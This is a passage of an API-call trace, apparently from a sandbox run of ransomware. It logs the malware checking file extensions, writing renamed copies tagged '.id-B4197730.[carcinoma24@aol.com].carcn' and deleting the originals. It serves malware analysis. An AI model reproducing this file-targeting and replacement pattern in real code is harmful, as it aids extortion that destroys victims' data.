lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0310.888] lstrlenW (lpString=".1cd") returned 4 [0310.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0310.888] lstrlenW (lpString=".jpg") returned 4 [0310.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0311.180] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.180] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0311.181] GetLastError () returned 0x0 [0311.181] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x138c, lpOverlapped=0x0) returned 1 [0311.199] WriteFile (in: hFile=0x37c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1390, lpOverlapped=0x0) returned 1 [0311.200] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.200] WriteFile (in: hFile=0x37c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0311.201] SetEndOfFile (hFile=0x37c) returned 1 [0311.205] CloseHandle (hObject=0x37c) returned 1 [0311.205] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.205] SetEndOfFile (hFile=0x35c) returned 1 [0311.208] CloseHandle (hObject=0x35c) returned 1 [0311.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 1 [0311.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0311.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0311.210] lstrlenW (lpString=".doc") returned 4 [0311.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0311.210] lstrlenW (lpString=".docx") returned 5 [0311.210] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0311.210] lstrlenW (lpString=".pdf") returned 4 [0311.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0311.210] lstrlenW (lpString=".xls") returned 4 [0311.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0311.210] lstrlenW (lpString=".xlsx") returned 5 [0311.210] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0311.210] lstrlenW (lpString=".ppt") returned 4 [0311.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0311.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0311.211] lstrlenW (lpString=".zip") returned 4 [0311.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0311.211] lstrlenW (lpString=".rar") returned 4 [0311.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0311.211] lstrlenW (lpString=".bz2") returned 4 [0311.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0311.211] lstrlenW (lpString=".7z") returned 3 [0311.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0311.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0311.211] lstrlenW (lpString=".dbf") returned 4 [0311.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0311.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0311.211] lstrlenW (lpString=".1cd") returned 4 [0311.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0311.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0311.211] lstrlenW (lpString=".jpg") returned 4 [0311.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0311.214] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.214] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0311.215] GetLastError () returned 0x0 [0311.215] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x9d27, lpOverlapped=0x0) returned 1 [0311.236] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x9d30, lpOverlapped=0x0) returned 1 [0311.237] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.238] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0311.238] SetEndOfFile (hFile=0x398) returned 1 [0311.238] CloseHandle (hObject=0x398) returned 1 [0311.238] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.238] SetEndOfFile (hFile=0x384) returned 1 [0311.239] CloseHandle (hObject=0x384) returned 1 [0311.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 1 [0311.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0311.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0311.241] lstrlenW (lpString=".doc") returned 4 [0311.241] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.241] lstrlenW (lpString=".docx") returned 5 [0311.241] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0311.241] lstrlenW (lpString=".pdf") returned 4 [0311.241] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.241] lstrlenW (lpString=".xls") returned 4 [0311.241] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.241] lstrlenW (lpString=".xlsx") returned 5 [0311.241] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0311.241] lstrlenW (lpString=".ppt") returned 4 [0311.241] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0311.241] lstrlenW (lpString=".zip") returned 4 [0311.241] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.241] lstrlenW (lpString=".rar") returned 4 [0311.241] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.241] lstrlenW (lpString=".bz2") returned 4 [0311.241] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.241] lstrlenW (lpString=".7z") returned 3 [0311.241] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0311.241] lstrlenW (lpString=".dbf") returned 4 [0311.242] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0311.242] lstrlenW (lpString=".1cd") returned 4 [0311.242] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0311.242] lstrlenW (lpString=".jpg") returned 4 [0311.242] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.242] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.242] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0311.243] GetLastError () returned 0x0 [0311.243] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xc056, lpOverlapped=0x0) returned 1 [0311.267] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xc060, lpOverlapped=0x0) returned 1 [0311.269] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.269] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0311.269] SetEndOfFile (hFile=0x398) returned 1 [0311.269] CloseHandle (hObject=0x398) returned 1 [0311.270] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.270] SetEndOfFile (hFile=0x384) returned 1 [0311.271] CloseHandle (hObject=0x384) returned 1 [0311.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 1 [0311.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0311.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0311.272] lstrlenW (lpString=".doc") returned 4 [0311.272] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.272] lstrlenW (lpString=".docx") returned 5 [0311.273] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0311.273] lstrlenW (lpString=".pdf") returned 4 [0311.273] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.273] lstrlenW (lpString=".xls") returned 4 [0311.273] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.273] lstrlenW (lpString=".xlsx") returned 5 [0311.273] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0311.273] lstrlenW (lpString=".ppt") returned 4 [0311.273] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0311.273] lstrlenW (lpString=".zip") returned 4 [0311.273] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.273] lstrlenW (lpString=".rar") returned 4 [0311.273] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.273] lstrlenW (lpString=".bz2") returned 4 [0311.273] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.273] lstrlenW (lpString=".7z") returned 3 [0311.273] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0311.273] lstrlenW (lpString=".dbf") returned 4 [0311.273] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0311.273] lstrlenW (lpString=".1cd") returned 4 [0311.273] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0311.273] lstrlenW (lpString=".jpg") returned 4 [0311.273] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.275] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.275] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0311.276] GetLastError () returned 0x0 [0311.276] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x8fd4, lpOverlapped=0x0) returned 1 [0311.279] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x8fe0, lpOverlapped=0x0) returned 1 [0311.281] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.281] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0311.281] SetEndOfFile (hFile=0x398) returned 1 [0311.282] CloseHandle (hObject=0x398) returned 1 [0311.282] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.282] SetEndOfFile (hFile=0x384) returned 1 [0311.283] CloseHandle (hObject=0x384) returned 1 [0311.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 1 [0311.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0311.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0311.284] lstrlenW (lpString=".doc") returned 4 [0311.284] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.284] lstrlenW (lpString=".docx") returned 5 [0311.284] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0311.284] lstrlenW (lpString=".pdf") returned 4 [0311.284] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.284] lstrlenW (lpString=".xls") returned 4 [0311.284] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.284] lstrlenW (lpString=".xlsx") returned 5 [0311.284] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0311.284] lstrlenW (lpString=".ppt") returned 4 [0311.284] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0311.284] lstrlenW (lpString=".zip") returned 4 [0311.284] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.284] lstrlenW (lpString=".rar") returned 4 [0311.285] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.285] lstrlenW (lpString=".bz2") returned 4 [0311.285] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.285] lstrlenW (lpString=".7z") returned 3 [0311.285] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0311.285] lstrlenW (lpString=".dbf") returned 4 [0311.285] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0311.285] lstrlenW (lpString=".1cd") returned 4 [0311.285] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0311.285] lstrlenW (lpString=".jpg") returned 4 [0311.285] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.286] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.286] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0311.681] GetLastError () returned 0x0 [0311.681] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x8fb8, lpOverlapped=0x0) returned 1 [0311.697] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x8fc0, lpOverlapped=0x0) returned 1 [0311.701] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.701] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0311.701] SetEndOfFile (hFile=0x398) returned 1 [0311.704] CloseHandle (hObject=0x398) returned 1 [0311.704] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.704] SetEndOfFile (hFile=0x384) returned 1 [0311.705] CloseHandle (hObject=0x384) returned 1 [0311.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 1 [0311.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0311.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0311.707] lstrlenW (lpString=".doc") returned 4 [0311.707] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.707] lstrlenW (lpString=".docx") returned 5 [0311.707] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0311.707] lstrlenW (lpString=".pdf") returned 4 [0311.707] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.707] lstrlenW (lpString=".xls") returned 4 [0311.707] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.707] lstrlenW (lpString=".xlsx") returned 5 [0311.707] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0311.707] lstrlenW (lpString=".ppt") returned 4 [0311.707] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0311.707] lstrlenW (lpString=".zip") returned 4 [0311.707] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.707] lstrlenW (lpString=".rar") returned 4 [0311.707] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.707] lstrlenW (lpString=".bz2") returned 4 [0311.707] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.707] lstrlenW (lpString=".7z") returned 3 [0311.707] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0311.708] lstrlenW (lpString=".dbf") returned 4 [0311.708] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0311.708] lstrlenW (lpString=".1cd") returned 4 [0311.708] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0311.708] lstrlenW (lpString=".jpg") returned 4 [0311.708] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.709] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.709] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0311.710] GetLastError () returned 0x0 [0311.710] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x955d, lpOverlapped=0x0) returned 1 [0311.756] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x9560, lpOverlapped=0x0) returned 1 [0311.757] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.757] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, 